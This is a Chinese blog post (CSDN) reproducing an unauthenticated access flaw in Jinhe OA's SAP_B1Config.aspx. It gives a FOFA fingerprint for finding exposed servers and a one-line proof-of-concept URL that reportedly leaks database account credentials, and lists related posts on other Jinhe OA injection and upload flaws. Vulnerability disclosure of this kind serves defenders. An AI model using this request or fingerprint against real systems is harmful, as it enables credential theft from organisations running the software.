金和OA SAP_B1Config.aspx存在未授权访问漏洞

最新推荐文章于 2024-01-20 22:07:14 发布
最新推荐文章于 2024-01-20 22:07:14 发布
阅读量614 收藏 7
点赞数 10
分类专栏： 漏洞复现 文章标签： 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/luochen2436/article/details/135372200
版权

产品简介

金和网络是专业信息化服务商，为城市监管部门提供了互联网+监管解决方案，为企事业单位提供组织协同OA系统升开发平台，电子政务一体化平台智慧电商平合等服务

漏洞概述

金和OA SAP_B1Config.aspx存在未授权访问漏洞，攻击者可通过此漏洞获取数据库的账户密码等敏感信息。

指纹识别

fofa:

app="金和网络-金和OA"

漏洞利用

poc:

/C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1

泄露数据库的连接账户和密码
在这里插入图片描述

修复建议

联系软件厂商更新至最新安全版本
【有些话可以不说透，自欺欺人，就可以糊涂一世，打打闹闹轻轻松松。】

3tefanie丶zhou
关注
  • 10
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
金和OA GetAttOut接口存在SQL注入漏洞
nnn2188185的博客
01-12 151
微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。
金和OA GetTreeDate.aspx SQL注入漏洞
xiaokp7的博客
09-22 565
金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。金和OA GetTreeDate存在SQL注入漏洞。
金和OA C6 gethomeinfo sql注入漏洞
Keepb1ue的博客
12-25 2178
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和 OA C6 gethomeinfo接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
金和OA jc6 clobfield接口存在SQL注入漏洞
3tefanie丶zhou的博客
12-19 695
【一个人活着时无论怎样苦口婆心劝说都听不进去的话，等到人不在了，那些话却像印上文件的朱记，抹都抹不去。】
金和OA GetSqlData.aspx 远程命令执行漏洞
xiaokp7的博客
09-13 766
金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。金和OA GetTreeDate存在SQL注入漏洞。
金和OA_C6_用户手册.pdf
03-05
金和OA_C6_用户手册,比较基本的一个介绍，适合入门级的学习以及人员培训使用。
金和软件OA浏览器设置.doc
11-17
金和软件OA浏览器设置 金和软件OA浏览器设置是指在IE浏览器中对OA系统的浏览器设置，以确保OA系统的正常运行。下面是金和软件OA浏览器设置的详细步骤和相关知识点： 设置IE浏览器属性 金和软件OA浏览器设置的第一...
金和OA jc6 ntko-upload 任意文件上传漏洞
3tefanie丶zhou的博客
01-03 948
【是人就有私心，就容易走错路。】
金和OA C6 UploadFileEditorSave.aspx 任意文件上传漏洞
Keepb1ue的博客
01-06 1876
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和 OA C6 uploadfileeditorsave接口处存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限。
漏洞复现-金和OA GetAttOut接口SQL注入漏洞（附漏洞检测脚本）
jjjj1029056414的博客
01-14 886
漏洞复现-金和OA GetAttOut接口SQL注入漏洞，附带自己写的poc脚本
金和OA saveAsOtherFormatServlet接口任意文件上传漏洞复现 [附POC]
薛定谔嘚喵博客
12-05 248
金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。该系统存在任意文件读漏洞。
金和OA Servlet接口任意文件上传漏洞
败在我手中之敌，从来不会被我视为对手，我给你时间追赶，直至你遥望不见。
12-06 750
金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。
金和OA C6 MailTemplates.aspx SQL注入漏洞复现
0xSec
01-06 769
金和OA C6 MailTemplates.aspx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
金和OA某接口存在文件上传漏洞-day漏洞复现(未公开)
最新发布
weixin_43167326的博客
01-20 358
金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。
漏洞复现--金和OASQL注入
qq_53003652的博客
10-23 512
金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。该产品GetTreeDate.aspx存在SQL注入漏洞。sqlmap直接梭哈。
金和OA任意文件读取漏洞
xiaokp7的博客
09-13 472
金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用金和OA系统存在任意文件读取漏洞，攻击者通过恶意构造的请求下载服务器上的任意文件，包括敏感文件、配置文件、数据库文件等。
金和OA_C6_用户入门指南
"金和OA_C6_用户手册.pdf" 金和协同管理平台专业版C6/P是一款企业级的办公自动化系统，旨在提升企业的协同工作效率。该用户手册详细介绍了系统的使用方法，适合入门级用户和新员工培训。手册涵盖的内容广泛，帮助...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值